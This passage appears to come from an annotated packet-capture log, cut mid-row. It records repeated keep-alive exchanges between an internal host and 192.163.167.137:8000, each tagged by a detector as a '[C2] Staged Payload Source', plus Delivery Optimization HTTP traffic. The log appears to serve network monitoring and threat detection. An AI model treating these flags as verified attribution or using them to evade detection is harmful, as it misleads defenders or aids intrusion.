\"\"Range\"\": null, \"\"Referer\"\": null, \"\"Save_Data\"\": null, \"\"TE\"\": null, \"\"Upgrade\"\": null, \"\"Upgrade_Insecure_Requests\"\": null, \"\"User_Agent\"\": \"\"Microsoft-Delivery-Optimization/10.0\"\", \"\"Via\"\": null, \"\"Warning\"\": null, \"\"X_ATT_DeviceId\"\": null, \"\"X_Correlation_ID\"\": null, \"\"X_Csrf_Token\"\": null, \"\"X_Forwarded_For\"\": null, \"\"X_Forwarded_Host\"\": null, \"\"X_Forwarded_Proto\"\": null, \"\"X_Http_Method_Override\"\": null, \"\"X_Request_ID\"\": null, \"\"X_Requested_With\"\": null, \"\"X_UIDH\"\": null, \"\"X_Wap_Profile\"\": null, \"\"Unknown_Headers\"\": \"\"{b'MS-CV': b'U8LcJprCPE+qu3Wn.1.1.7.2.4.1.1'}\"\"}}]\"\n2026-07-01 09:05:07.342212,18,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=4151454129 Ack=2283203443,bc2411360d0cbc24112907bb080045000028fc7940004006b8bfc22420cf0a98980b0050fa23f77229b18816eb735010003f85b10000,\".$.6\n..$.)....E..(.y@.@....$ .\n....P.#.r)....sP..?....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 64633, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 47295, \"\"src\"\": \"\"194.36.32.207\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 80, \"\"dport\"\": 64035, \"\"seq\"\": 4151454129, \"\"ack\"\": 2283203443, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 34225, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-07-01 09:05:07.401108,19,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029af9e4000800640600a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44958, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16480, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:07.401128,20,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e227400040064dccc0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.'@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57895, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19916, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:08.416691,21,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029af9f40008006405f0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44959, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16479, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:08.416696,22,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e228400040064dcbc0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.(@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57896, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19915, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:09.432482,23,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa040008006405e0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44960, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16478, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:09.432494,24,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e229400040064dcac0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.)@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57897, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19914, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:10.448013,25,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa140008006405d0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44961, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16477, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:10.448021,26,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22a400040064dc9c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.*@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57898, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19913, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:11.463773,27,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa240008006405c0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44962, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16476, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:11.463812,28,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22b400040064dc8c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.+@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57899, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19912, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:12.479407,29,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa340008006405b0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44963, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16475, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:12.479424,30,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22c400040064dc7c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.,@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57900, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19911, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:13.495043,31,TCP 10.152.152.11:64032 -> 192.163.167.137:8000,10.152.152.11,192.163.167.137,64032,8000,TCP,Internal,Private Network,,,,,,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,A,,,Ether > IP > TCP > Raw,4,TCP A Seq=1411682724 Ack=3104847480,bc24112907bbbc2411360d0c080045000029afa440008006405a0a98980bc0a3a789fa201f40542491a4b910367850102014963c000000,\u0000,[C2] Staged Payload Source (Stages: 43),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 41, \"\"id\"\": 44964, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 16474, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"192.163.167.137\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64032, \"\"dport\"\": 8000, \"\"seq\"\": 1411682724, \"\"ack\"\": 3104847480, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 8212, \"\"chksum\"\": 38460, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Raw\"\", \"\"fields\"\": {\"\"load\"\": \"\"\\u0000\"\"}}]\"\n2026-07-01 09:05:13.495074,32,TCP 192.163.167.137:8000 -> 10.152.152.11:64032,192.163.167.137,10.152.152.11,8000,64032,TCP,Singapore,Unknown,138995,Antbox Networks Limited,1.3667,103.8,192.163.166.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=3104847480 Ack=1411682725,bc2411360d0cbc24112907bb080045000034e22d400040064dc6c0a3a7890a98980b1f40fa20b9103678542491a58010003f0af700000101050a542491a4542491a5,\".$.6\n..$.)....E..4.-@.@.M.....\n....@. ..6xT$.....?\n......\nT$..T$..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 52, \"\"id\"\": 57901, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 19910, \"\"src\"\": \"\"192.163.167.137\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 8000, \"\"dport\"\": 64032, \"\"seq\"\": 3104847480, \"\"ack\"\": 1411682725, \"\"dataofs\"\": 8, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 2807, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[('NOP', None), ('NOP', None), ('SAck', (1411682724, 1411682725))]\"\"}}]\"\n2026-07-01 09:05:13.657049,33,TCP 194.36.32.207:80 -> 10.152.152.11:64035,194.36.32.207,10.152.152.11,80,64035,TCP,United States,Unknown,215724,\"Edgevana, Inc.\",37.751,-97.822,194.36.32.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > HTTP > HTTPResponse > Raw,6,HTTP Response: 200,bc2411360d0cbc24112907bb080045000ff8fc7a40004006a8eec22420cf0a98980b0050fa23f77229b18816eb735018003f95810000485454502f312e3120323030204f4b0d0a5365727665723a206e67696e780d0a446174653a205765642c203031204a756c20323032362030393a31393a353820474d540d0a436f6e74656e742d547970653a206170706c69636174696f6e2f6a736f6e0d0a436f6e74656e742d4c656e6774683a20333739330d0a436f6e6e656374696f6e3a206b6565702d616c6976650d0a43616368652d436f6e74726f6c3a207075626c69632c6d61782d6167653d3137323830300d0a4c6173742d4d6f6469666965643a204d6f6e2c203133204f637420323032352032323a33353a343620474d540d0a5669613a20312e31207661726e6973680d0a4167653a203132373439380d0a582d5365727665642d42793a2063616368652d6672612d65646466383233303135312d4652410d0a582d43616368653a204849540d0a582d43616368652d486974733a20310d0a582d54696d65723a2053313737383838333234392e3531323539392c5653302c5645340d0a582d4349443a2031303030360d0a582d4343433a2037373834343566312d613130652d343762302d613163382d3632656233666333383363660d0a436f6e74656e742d53656375726974792d506f6c6963793a2064656661756c742d737263202773656c662720687474703a2068747470733a20646174613a20626c6f623a2027756e736166652d696e6c696e65270d0a582d5853532d50726f74656374696f6e3a20313b206d6f64653d626c6f636b0d0a582d4672616d652d4f7074696f6e733a2053414d454f524947494e0d0a582d43616368652d5374617475733a205354414c450d0a4163636570742d52616e6765733a2062797465730d0a0d0a7b224d616a6f7256657273696f6e223a312c224d696e6f7256657273696f6e223a302c22486173684f66486173686573223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22486173684f66486173686573537472696e67223a2271416957414e73434f314d756d4452553462324654635371486976593934675853464758646972524471343d222c22436f6e74656e744c656e677468223a37393234303630352c22506965636553697a65223a313034383537362c22506965636573223a5b2236336532666e3970354d314a67726f7434324970474d61356265775162424b4c2b656d35306f46622b69343d222c22597558624c676173344c68377750632b2b6556613337453649566465377250466e58346e44676f506b30633d222c224b36696f387735713872346a766342306258626e6b635232626746426477436e6a755847697a634d6d51553d222c223058332b783356312b4a50416a4345354e6732306765723566446531476741596f6c3553774a6f45422b303d222c226d6a7456713273456d78366b62386269436b6952776b67722b6378316e73367448586c76774b75786130493d222c2236762b4a6d6e41786344384568316145702b61315564754a4f6b6b5a7759566d6e71737341675665416a453d222c22354a476568434f57456b757371556d4c3863426e4e4d767635595148352b51446c6d776a7741504c6d50733d222c225